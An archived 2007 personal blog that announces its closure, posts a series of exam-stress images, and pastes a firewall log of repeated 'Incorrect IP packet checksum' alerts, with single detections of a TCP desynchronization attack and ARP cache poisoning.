Blaze Company Security Centre

This Blog Is Closed

2008-01-06T00:35:00.000-08:00

New Site

http://blazecompany.googlepages.com/
http://blazeco.info/
http://hk.geocities.com/edwinchiu1995/

LoL..

2007-11-29T23:28:00.001-08:00

New school semester:
[img]http://img440.imageshack.us/img440/6066/38724042xy1.gif[/img]

At the first week:
[img]http://img169.imageshack.us/img169/9471/46022718qw0.gif[/img]

At the second week:
[img]http://img169.imageshack.us/img169/1579/73860124hh9.gif[/img]

Before the mid-term test:
[img]http://img169.imageshack.us/img169/7742/70248010qy8.gif[/img]

During the mid-term test:
[img]http://img169.imageshack.us/img169/1148/51684533rb1.gif[/img]

After the mid-term test:
[img]http://img440.imageshack.us/img440/4443/16593617tz0.gif[/img]

Before the final exam:
[img]http://img440.imageshack.us/img440/64/58696569yj2.gif[/img]

Once know the final exam schedule:
[img]http://img440.imageshack.us/img440/4100/98267951hr5.gif[/img]

7 days before final exam:
[img]http://img440.imageshack.us/img440/6928/14179412xo6.gif[/img]

6 days before final exam:
[img]http://img167.imageshack.us/img167/7886/48449407ge9.gif[/img]

5 days before final exam:
[img]http://img167.imageshack.us/img167/6201/36556418yj2.gif[/img]

4 days before final exam:
[img]http://img521.imageshack.us/img521/4811/15410495gt7.gif[/img]

3 days before final exam:
[img]http://img521.imageshack.us/img521/1455/61370226jb0.gif[/img]

2 days before final exam:
[img]http://img264.imageshack.us/img264/8502/82556919ec0.gif[/img]

1 day before final exam:
[img]http://img264.imageshack.us/img264/2495/12551693jd2.gif[/img]

A night before final exam:
[img]http://img258.imageshack.us/img258/1089/83771123fm7.gif[/img]

1 hour before final exam:
[img]http://img258.imageshack.us/img258/8236/97461205gx4.gif[/img]

During the final exam:
[img]http://img258.imageshack.us/img258/1935/57547119kr6.gif[/img]

Once walk out from the exam hall:
[img]http://img258.imageshack.us/img258/4185/29551892mq5.gif[/img]

After the final exam, during the holiday:
[img]http://img165.imageshack.us/img165/4364/35787142dz1.gif[/img]

Detected Firewall Attack

2007-11-22T17:03:00.001-08:00

In our test account and test computer , we found a lot of in

21/11/2007 20:02:44 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:40 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 20:02:39 Incorrect IP packet checksum 0
21/11/2007 18:35:34 Incorrect IP packet checksum 0
21/11/2007 18:35:28 Incorrect IP packet checksum 0
21/11/2007 18:35:28 Incorrect IP packet checksum 0
21/11/2007 18:35:27 Incorrect IP packet checksum 0
21/11/2007 18:35:27 Incorrect IP packet checksum 0
21/11/2007 18:35:27 Incorrect IP packet checksum 0
21/11/2007 18:35:27 Incorrect IP packet checksum 0
21/11/2007 18:35:27 Incorrect IP packet checksum 0
21/11/2007 16:41:21 Incorrect IP packet checksum 0
21/11/2007 16:03:44 Incorrect IP packet checksum 0
21/11/2007 16:03:38 Incorrect IP packet checksum 0
21/11/2007 16:03:38 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:03:37 Incorrect IP packet checksum 0
21/11/2007 16:02:21 Incorrect IP packet checksum 0
21/11/2007 16:01:15 Incorrect IP packet checksum 0
21/11/2007 16:01:11 Incorrect IP packet checksum 0
21/11/2007 16:01:11 Incorrect IP packet checksum 0
21/11/2007 16:01:11 Incorrect IP packet checksum 0
21/11/2007 16:01:11 Incorrect IP packet checksum 0
21/11/2007 16:01:11 Incorrect IP packet checksum 0
21/11/2007 16:01:10 Incorrect IP packet checksum 0
21/11/2007 16:01:10 Incorrect IP packet checksum 0
21/11/2007 16:01:10 Incorrect IP packet checksum 0
21/11/2007 16:01:10 Incorrect IP packet checksum 0
21/11/2007 16:01:10 Incorrect IP packet checksum 0
21/11/2007 16:01:09 Incorrect IP packet checksum 0
21/11/2007 16:01:09 Incorrect IP packet checksum 0
21/11/2007 15:57:02 Incorrect IP packet checksum 0
21/11/2007 15:42:36 Incorrect IP packet checksum 0
21/11/2007 15:42:27 Incorrect IP packet checksum 0
21/11/2007 15:42:27 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:42:26 Incorrect IP packet checksum 0
21/11/2007 15:40:37 Incorrect IP packet checksum 0
21/11/2007 15:39:49 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:47 Incorrect IP packet checksum 0
21/11/2007 15:39:46 Incorrect IP packet checksum 0
21/11/2007 15:39:46 Incorrect IP packet checksum 0
21/11/2007 15:39:46 Incorrect IP packet checksum 0
21/11/2007 15:37:41 Incorrect IP packet checksum 0
21/11/2007 15:31:00 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:50 Incorrect IP packet checksum 0
21/11/2007 15:30:49 Incorrect IP packet checksum 0
21/11/2007 15:30:49 Incorrect IP packet checksum 0
21/11/2007 15:30:49 Incorrect IP packet checksum 0
21/11/2007 15:29:01 Incorrect IP packet checksum 0
21/11/2007 15:15:55 Incorrect IP packet checksum 0
21/11/2007 15:15:55 Incorrect IP packet checksum 0
21/11/2007 15:15:55 Incorrect IP packet checksum 0
21/11/2007 15:15:54 Incorrect IP packet checksum 0
21/11/2007 15:15:54 Incorrect IP packet checksum 0
21/11/2007 15:15:54 Incorrect IP packet checksum 0
21/11/2007 15:13:49 Incorrect IP packet checksum 0
21/11/2007 15:06:13 Incorrect IP packet checksum 0
21/11/2007 15:06:09 Incorrect IP packet checksum 0
21/11/2007 15:06:09 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:08 Incorrect IP packet checksum 0
21/11/2007 15:06:07 Incorrect IP packet checksum 0
21/11/2007 14:53:44 Incorrect IP packet checksum 0
21/11/2007 14:40:56 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:48 Incorrect IP packet checksum 0
21/11/2007 14:40:47 Incorrect IP packet checksum 0
21/11/2007 14:40:47 Incorrect IP packet checksum 0
21/11/2007 14:40:46 Incorrect IP packet checksum 0
21/11/2007 14:40:46 Incorrect IP packet checksum 0
21/11/2007 14:40:46 Incorrect IP packet checksum 0
21/11/2007 14:37:00 Incorrect IP packet checksum 0
21/11/2007 14:29:34 Incorrect IP packet checksum 0
21/11/2007 14:29:24 Incorrect IP packet checksum 0
21/11/2007 14:29:24 Incorrect IP packet checksum 0
21/11/2007 14:29:23 Incorrect IP packet checksum 0
21/11/2007 14:29:23 Incorrect IP packet checksum 0
21/11/2007 14:29:23 Incorrect IP packet checksum 0
21/11/2007 14:29:23 Incorrect IP packet checksum 0
21/11/2007 14:29:23 Incorrect IP packet checksum 0
21/11/2007 14:29:22 Incorrect IP packet checksum 0
21/11/2007 14:29:22 Incorrect IP packet checksum 0
21/11/2007 14:27:32 Incorrect IP packet checksum 0
21/11/2007 14:17:39 Incorrect IP packet checksum 0
21/11/2007 14:17:34 Incorrect IP packet checksum 0
21/11/2007 14:17:34 Incorrect IP packet checksum 0
21/11/2007 14:17:33 Incorrect IP packet checksum 0
21/11/2007 14:17:33 Incorrect IP packet checksum 0
21/11/2007 14:17:33 Incorrect IP packet checksum 0
21/11/2007 14:17:33 Incorrect IP packet checksum 0
21/11/2007 14:17:33 Incorrect IP packet checksum 0
21/11/2007 14:12:22 Incorrect IP packet checksum 0
21/11/2007 14:04:45 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 14:04:42 Incorrect IP packet checksum 0
21/11/2007 13:57:06 Incorrect IP packet checksum 0
21/11/2007 13:48:32 Incorrect IP packet checksum 0
21/11/2007 13:48:27 Incorrect IP packet checksum 0
21/11/2007 13:48:27 Incorrect IP packet checksum 0
21/11/2007 13:48:27 Incorrect IP packet checksum 0
21/11/2007 13:48:26 Incorrect IP packet checksum 0
21/11/2007 13:48:26 Incorrect IP packet checksum 0
21/11/2007 13:48:26 Incorrect IP packet checksum 0
21/11/2007 13:48:25 Incorrect IP packet checksum 0
21/11/2007 13:48:25 Incorrect IP packet checksum 0
21/11/2007 13:48:25 Incorrect IP packet checksum 0
21/11/2007 13:48:24 Incorrect IP packet checksum 0
21/11/2007 13:48:24 Incorrect IP packet checksum 0
21/11/2007 13:48:24 Incorrect IP packet checksum 0
21/11/2007 13:48:24 Incorrect IP packet checksum 0
21/11/2007 13:48:24 Incorrect IP packet checksum 0
20/11/2007 22:42:30 Incorrect IP packet checksum 0
20/11/2007 22:42:26 Incorrect IP packet checksum 0
20/11/2007 22:42:26 Incorrect IP packet checksum 0
20/11/2007 22:42:26 Incorrect IP packet checksum 0
20/11/2007 15:44:41 Incorrect IP packet checksum 0
20/11/2007 15:44:35 Incorrect IP packet checksum 0
20/11/2007 15:44:34 Incorrect IP packet checksum 0
20/11/2007 15:44:34 Incorrect IP packet checksum 0
20/11/2007 15:39:17 Incorrect IP packet checksum 0
20/11/2007 15:39:10 Incorrect IP packet checksum 0
20/11/2007 15:39:09 Incorrect IP packet checksum 0
20/11/2007 15:39:09 Incorrect IP packet checksum 0
20/11/2007 15:30:12 Incorrect IP packet checksum 0
20/11/2007 15:30:05 Incorrect IP packet checksum 0
20/11/2007 15:30:04 Incorrect IP packet checksum 0
20/11/2007 15:30:04 Incorrect IP packet checksum 0
20/11/2007 15:30:04 Incorrect IP packet checksum 0
19/11/2007 22:44:17 Incorrect IP packet checksum 0
19/11/2007 22:42:37 Incorrect IP packet checksum 0
19/11/2007 22:42:36 Incorrect IP packet checksum 0
19/11/2007 22:42:36 Incorrect IP packet checksum 0
19/11/2007 22:42:36 Incorrect IP packet checksum 0
19/11/2007 22:42:36 Incorrect IP packet checksum 0
19/11/2007 22:42:36 Incorrect IP packet checksum 0
19/11/2007 20:54:44 Incorrect IP packet checksum 0
19/11/2007 20:54:28 Incorrect IP packet checksum 0
19/11/2007 20:54:25 Incorrect IP packet checksum 0
19/11/2007 20:54:25 Incorrect IP packet checksum 0
19/11/2007 20:54:25 Incorrect IP packet checksum 0
19/11/2007 20:54:25 Incorrect IP packet checksum 0
19/11/2007 20:54:25 Incorrect IP packet checksum 0
19/11/2007 20:54:24 Incorrect IP packet checksum 0
19/11/2007 20:54:24 Incorrect IP packet checksum 0
19/11/2007 20:54:24 Incorrect IP packet checksum 0
19/11/2007 20:44:54 Incorrect IP packet checksum 0
19/11/2007 19:22:21 Incorrect IP packet checksum 0
19/11/2007 19:22:17 Incorrect IP packet checksum 0
19/11/2007 19:22:17 Incorrect IP packet checksum 0
19/11/2007 19:22:17 Incorrect IP packet checksum 0
19/11/2007 19:22:17 Incorrect IP packet checksum 0
19/11/2007 19:22:17 Incorrect IP packet checksum 0
18/11/2007 22:14:11 Incorrect IP packet checksum 0
18/11/2007 22:13:56 Incorrect IP packet checksum 0
18/11/2007 22:13:54 Incorrect IP packet checksum 0
18/11/2007 22:13:54 Incorrect IP packet checksum 0
18/11/2007 22:13:53 Incorrect IP packet checksum 0
18/11/2007 22:13:53 Incorrect IP packet checksum 0
18/11/2007 22:13:53 Incorrect IP packet checksum 0
18/11/2007 22:13:53 Incorrect IP packet checksum 0
18/11/2007 22:13:53 Incorrect IP packet checksum 0
18/11/2007 22:13:33 Incorrect IP packet checksum 0
18/11/2007 22:07:42 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:34 Incorrect IP packet checksum 0
18/11/2007 22:07:33 Incorrect IP packet checksum 0
18/11/2007 22:07:33 Incorrect IP packet checksum 0
18/11/2007 22:07:33 Incorrect IP packet checksum 0
18/11/2007 22:02:38 Incorrect IP packet checksum 0
18/11/2007 21:35:47 Incorrect IP packet checksum 0
18/11/2007 21:35:44 Incorrect IP packet checksum 0
18/11/2007 21:35:44 Incorrect IP packet checksum 0
18/11/2007 21:35:44 Incorrect IP packet checksum 0
18/11/2007 21:35:44 Incorrect IP packet checksum 0
18/11/2007 21:35:43 Incorrect IP packet checksum 0
18/11/2007 18:17:06 Incorrect IP packet checksum 0
18/11/2007 18:16:59 Incorrect IP packet checksum 0
18/11/2007 18:16:59 Incorrect IP packet checksum 0
18/11/2007 18:16:58 Incorrect IP packet checksum 0
18/11/2007 18:16:58 Incorrect IP packet checksum 0
18/11/2007 18:16:57 Incorrect IP packet checksum 0
18/11/2007 18:16:57 Incorrect IP packet checksum 0
18/11/2007 18:16:57 Incorrect IP packet checksum 0
18/11/2007 18:16:57 Incorrect IP packet checksum 0
18/11/2007 18:16:57 Incorrect IP packet checksum 0
18/11/2007 18:16:12 Incorrect IP packet checksum 0
18/11/2007 17:17:11 Incorrect IP packet checksum 0
18/11/2007 17:17:11 Incorrect IP packet checksum 0
18/11/2007 17:17:11 Incorrect IP packet checksum 0
18/11/2007 17:17:10 Incorrect IP packet checksum 0
18/11/2007 17:17:10 Incorrect IP packet checksum 0
18/11/2007 17:17:10 Incorrect IP packet checksum 0
18/11/2007 17:17:10 Incorrect IP packet checksum 0
18/11/2007 17:17:10 Incorrect IP packet checksum 0
18/11/2007 15:53:34 Incorrect IP packet checksum 0
18/11/2007 15:46:38 Incorrect IP packet checksum 0
18/11/2007 15:46:33 Incorrect IP packet checksum 0
18/11/2007 15:46:33 Incorrect IP packet checksum 0
18/11/2007 15:46:32 Incorrect IP packet checksum 0
18/11/2007 15:46:32 Incorrect IP packet checksum 0
18/11/2007 15:46:32 Incorrect IP packet checksum 0
18/11/2007 13:53:58 Detected Reverse TCP Desynchronization attack 61.18.45.12:3506 192.168.2.5:51481 TCP
18/11/2007 13:06:30 Incorrect IP packet checksum 0
18/11/2007 13:02:04 Incorrect IP packet checksum 0
18/11/2007 13:02:03 Incorrect IP packet checksum 0
18/11/2007 13:02:03 Incorrect IP packet checksum 0
18/11/2007 13:02:03 Incorrect IP packet checksum 0
18/11/2007 13:02:03 Incorrect IP packet checksum 0
18/11/2007 13:02:02 Incorrect IP packet checksum 0
17/11/2007 22:15:11 Incorrect IP packet checksum 0
17/11/2007 21:58:22 Incorrect IP packet checksum 0
17/11/2007 21:58:13 Incorrect IP packet checksum 0
17/11/2007 21:58:13 Incorrect IP packet checksum 0
17/11/2007 21:58:12 Incorrect IP packet checksum 0
17/11/2007 21:58:12 Incorrect IP packet checksum 0
17/11/2007 21:58:12 Incorrect IP packet checksum 0
17/11/2007 21:58:12 Incorrect IP packet checksum 0
17/11/2007 21:58:11 Incorrect IP packet checksum 0
17/11/2007 21:34:40 Incorrect IP packet checksum 0
17/11/2007 21:22:06 Incorrect IP packet checksum 0
17/11/2007 21:21:56 Incorrect IP packet checksum 0
17/11/2007 21:21:56 Incorrect IP packet checksum 0
17/11/2007 21:21:56 Incorrect IP packet checksum 0
17/11/2007 21:21:56 Incorrect IP packet checksum 0
17/11/2007 21:21:55 Incorrect IP packet checksum 0
17/11/2007 21:21:55 Incorrect IP packet checksum 0
17/11/2007 21:21:55 Incorrect IP packet checksum 0
17/11/2007 20:11:59 Incorrect IP packet checksum 0
17/11/2007 20:05:04 Incorrect IP packet checksum 0
17/11/2007 20:05:01 Incorrect IP packet checksum 0
17/11/2007 20:05:01 Incorrect IP packet checksum 0
17/11/2007 20:05:00 Incorrect IP packet checksum 0
17/11/2007 20:05:00 Incorrect IP packet checksum 0
17/11/2007 20:05:00 Incorrect IP packet checksum 0
17/11/2007 0:21:01 Incorrect IP packet checksum 0
17/11/2007 0:21:01 Incorrect IP packet checksum 0
17/11/2007 0:21:01 Incorrect IP packet checksum 0
17/11/2007 0:21:01 Incorrect IP packet checksum 0
16/11/2007 22:54:33 Incorrect IP packet checksum 0
16/11/2007 22:54:24 Incorrect IP packet checksum 0
16/11/2007 22:54:24 Incorrect IP packet checksum 0
16/11/2007 22:54:24 Incorrect IP packet checksum 0
16/11/2007 22:54:24 Incorrect IP packet checksum 0
16/11/2007 22:54:23 Incorrect IP packet checksum 0
16/11/2007 22:54:23 Incorrect IP packet checksum 0
16/11/2007 22:54:23 Incorrect IP packet checksum 0
16/11/2007 22:49:56 Incorrect IP packet checksum 0
16/11/2007 22:23:42 Incorrect IP packet checksum 0
16/11/2007 22:23:40 Incorrect IP packet checksum 0
16/11/2007 22:23:40 Incorrect IP packet checksum 0
16/11/2007 22:23:39 Incorrect IP packet checksum 0
16/11/2007 22:23:39 Incorrect IP packet checksum 0
16/11/2007 22:23:39 Incorrect IP packet checksum 0
16/11/2007 22:23:39 Incorrect IP packet checksum 0
16/11/2007 22:23:39 Incorrect IP packet checksum 0
16/11/2007 22:12:05 Incorrect IP packet checksum 0
16/11/2007 21:44:13 Incorrect IP packet checksum 0
16/11/2007 21:44:09 Incorrect IP packet checksum 0
16/11/2007 21:44:09 Incorrect IP packet checksum 0
16/11/2007 21:44:09 Incorrect IP packet checksum 0
16/11/2007 21:44:09 Incorrect IP packet checksum 0
16/11/2007 21:44:09 Incorrect IP packet checksum 0
16/11/2007 18:24:41 Incorrect IP packet checksum 0
16/11/2007 18:24:33 Incorrect IP packet checksum 0
16/11/2007 18:24:33 Incorrect IP packet checksum 0
16/11/2007 18:24:33 Incorrect IP packet checksum 0
16/11/2007 18:24:33 Incorrect IP packet checksum 0
16/11/2007 18:24:32 Incorrect IP packet checksum 0
16/11/2007 18:24:32 Incorrect IP packet checksum 0
16/11/2007 18:24:32 Incorrect IP packet checksum 0
16/11/2007 18:24:32 Incorrect IP packet checksum 0
16/11/2007 18:24:32 Incorrect IP packet checksum 0
16/11/2007 18:24:30 Incorrect IP packet checksum 0
16/11/2007 18:12:51 Incorrect IP packet checksum 0
16/11/2007 18:12:46 Incorrect IP packet checksum 0
16/11/2007 18:12:46 Incorrect IP packet checksum 0
16/11/2007 18:12:46 Incorrect IP packet checksum 0
16/11/2007 18:12:46 Incorrect IP packet checksum 0
16/11/2007 18:12:45 Incorrect IP packet checksum 0
16/11/2007 18:12:45 Incorrect IP packet checksum 0
16/11/2007 18:12:45 Incorrect IP packet checksum 0
16/11/2007 18:12:45 Incorrect IP packet checksum 0
16/11/2007 18:12:45 Incorrect IP packet checksum 0
16/11/2007 18:12:44 Incorrect IP packet checksum 0
16/11/2007 18:11:49 Incorrect IP packet checksum 0
16/11/2007 18:11:46 Incorrect IP packet checksum 0
16/11/2007 18:06:21 Incorrect IP packet checksum 0
16/11/2007 18:06:18 Incorrect IP packet checksum 0
16/11/2007 18:06:09 Incorrect IP packet checksum 0
16/11/2007 18:06:09 Incorrect IP packet checksum 0
16/11/2007 18:06:09 Incorrect IP packet checksum 0
16/11/2007 18:06:09 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 18:06:08 Incorrect IP packet checksum 0
16/11/2007 15:37:33 Detected ARP cache poisoning attack 0
16/11/2007 14:56:01 Incorrect IP packet checksum 0
16/11/2007 14:55:57 Incorrect IP packet checksum 0
16/11/2007 14:55:56 Incorrect IP packet checksum 0
16/11/2007 14:55:56 Incorrect IP packet checksum 0
16/11/2007 14:55:56 Incorrect IP packet checksum 0
16/11/2007 14:55:56 Incorrect IP packet checksum 0
16/11/2007 14:55:52 Incorrect IP packet checksum 0
16/11/2007 14:13:54 Incorrect IP packet checksum 0
16/11/2007 14:13:48 Incorrect IP packet checksum 0
16/11/2007 14:13:48 Incorrect IP packet checksum 0
16/11/2007 14:13:48 Incorrect IP packet checksum 0
16/11/2007 14:13:48 Incorrect IP packet checksum 0
16/11/2007 14:13:47 Incorrect IP packet checksum 0
16/11/2007 14:13:47 Incorrect IP packet checksum 0
16/11/2007 14:13:47 Incorrect IP packet checksum 0
16/11/2007 14:10:09 Incorrect IP packet checksum 0
16/11/2007 14:09:48 Incorrect IP packet checksum 0
16/11/2007 14:09:47 Incorrect IP packet checksum 0
16/11/2007 14:09:47 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 14:09:46 Incorrect IP packet checksum 0
16/11/2007 12:54:50 Incorrect IP packet checksum 0
16/11/2007 12:54:50 Incorrect IP packet checksum 0
16/11/2007 12:54:50 Incorrect IP packet checksum 0
16/11/2007 12:54:49 Incorrect IP packet checksum 0
16/11/2007 12:54:49 Incorrect IP packet checksum 0
16/11/2007 12:54:49 Incorrect IP packet checksum 0
16/11/2007 12:54:49 Incorrect IP packet checksum 0
16/11/2007 12:54:49 Incorrect IP packet checksum 0
16/11/2007 11:45:52 Incorrect IP packet checksum 0
16/11/2007 11:38:13 Incorrect IP packet checksum 0
16/11/2007 11:38:12 Incorrect IP packet checksum 0
16/11/2007 11:38:12 Incorrect IP packet checksum 0
16/11/2007 11:38:11 Incorrect IP packet checksum 0
16/11/2007 11:38:11 Incorrect IP packet checksum 0
16/11/2007 11:38:11 Incorrect IP packet checksum 0
16/11/2007 11:31:22 Incorrect IP packet checksum 0
16/11/2007 11:26:15 Incorrect IP packet checksum 0
16/11/2007 11:26:07 Incorrect IP packet checksum 0
16/11/2007 11:26:07 Incorrect IP packet checksum 0
16/11/2007 11:26:06 Incorrect IP packet checksum 0
16/11/2007 11:26:06 Incorrect IP packet checksum 0
16/11/2007 11:26:06 Incorrect IP packet checksum 0
16/11/2007 11:26:06 Incorrect IP packet checksum 0
16/11/2007 11:26:06 Incorrect IP packet checksum 0
16/11/2007 11:22:33 Incorrect IP packet checksum 0
16/11/2007 11:22:03 Incorrect IP packet checksum 0
16/11/2007 11:22:02 Incorrect IP packet checksum 0
16/11/2007 11:22:02 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:01 Incorrect IP packet checksum 0
16/11/2007 11:22:00 Incorrect IP packet checksum 0
16/11/2007 11:18:30 Incorrect IP packet checksum 0
16/11/2007 11:13:23 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
16/11/2007 11:13:13 Incorrect IP packet checksum 0
15/11/2007 21:32:44 Incorrect IP packet checksum 0
15/11/2007 21:17:16 Incorrect IP packet checksum 0
15/11/2007 21:17:12 Incorrect IP packet checksum 0
15/11/2007 21:17:12 Incorrect IP packet checksum 0
15/11/2007 21:17:11 Incorrect IP packet checksum 0
15/11/2007 21:17:11 Incorrect IP packet checksum 0
15/11/2007 21:17:11 Incorrect IP packet checksum 0
15/11/2007 21:17:11 Incorrect IP packet checksum 0
15/11/2007 21:17:10 Incorrect IP packet checksum 0
15/11/2007 20:22:41 Incorrect IP packet checksum 0
15/11/2007 20:22:40 Incorrect IP packet checksum 0
15/11/2007 20:22:40 Incorrect IP packet checksum 0
15/11/2007 20:22:40 Incorrect IP packet checksum 0
15/11/2007 20:22:40 Incorrect IP packet checksum 0
15/11/2007 20:22:39 Incorrect IP packet checksum 0
15/11/2007 20:22:08 Incorrect IP packet checksum 0
15/11/2007 20:12:12 Incorrect IP packet checksum 0
15/11/2007 20:12:07 Incorrect IP packet checksum 0
15/11/2007 20:12:07 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:12:06 Incorrect IP packet checksum 0
15/11/2007 20:11:37 Incorrect IP packet checksum 0
15/11/2007 19:42:59 Incorrect IP packet checksum 0
15/11/2007 19:42:57 Incorrect IP packet checksum 0
15/11/2007 19:42:57 Incorrect IP packet checksum 0
15/11/2007 19:42:57 Incorrect IP packet checksum 0
15/11/2007 19:42:57 Incorrect IP packet checksum 0
15/11/2007 19:42:56 Incorrect IP packet checksum 0
15/11/2007 19:42:29 Incorrect IP packet checksum 0
15/11/2007 18:47:43 Incorrect IP packet checksum 0
15/11/2007 18:47:41 Incorrect IP packet checksum 0
15/11/2007 18:47:41 Incorrect IP packet checksum 0
15/11/2007 18:47:40 Incorrect IP packet checksum 0
15/11/2007 18:47:40 Incorrect IP packet checksum 0
15/11/2007 18:47:40 Incorrect IP packet checksum 0
15/11/2007 18:32:39 Incorrect IP packet checksum 0
15/11/2007 18:10:41 Incorrect IP packet checksum 0
15/11/2007 18:10:38 Incorrect IP packet checksum 0
15/11/2007 18:10:38 Incorrect IP packet checksum 0
15/11/2007 18:10:37 Incorrect IP packet checksum 0
15/11/2007 18:10:37 Incorrect IP packet checksum 0
15/11/2007 18:10:37 Incorrect IP packet checksum 0
15/11/2007 18:10:37 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 18:10:36 Incorrect IP packet checksum 0
15/11/2007 16:17:03 Incorrect IP packet checksum 0
15/11/2007 16:10:33 Incorrect IP packet checksum 0
15/11/2007 16:10:31 Incorrect IP packet checksum 0
15/11/2007 16:10:31 Incorrect IP packet checksum 0
15/11/2007 16:10:30 Incorrect IP packet checksum 0
15/11/2007 16:10:30 Incorrect IP packet checksum 0
15/11/2007 16:10:30 Incorrect IP packet checksum 0
15/11/2007 15:46:04 Incorrect IP packet checksum 0
15/11/2007 15:45:57 Incorrect IP packet checksum 0
15/11/2007 15:45:57 Incorrect IP packet checksum 0
15/11/2007 15:45:57 Incorrect IP packet checksum 0
15/11/2007 15:45:57 Incorrect IP packet checksum 0
15/11/2007 15:45:56 Incorrect IP packet checksum 0
15/11/2007 15:45:56 Incorrect IP packet checksum 0
15/11/2007 15:45:55 Incorrect IP packet checksum 0
15/11/2007 15:45:55 Incorrect IP packet checksum 0
15/11/2007 15:45:55 Incorrect IP packet checksum 0
15/11/2007 15:20:12 Incorrect IP packet checksum 0
15/11/2007 15:17:28 Incorrect IP packet checksum 0
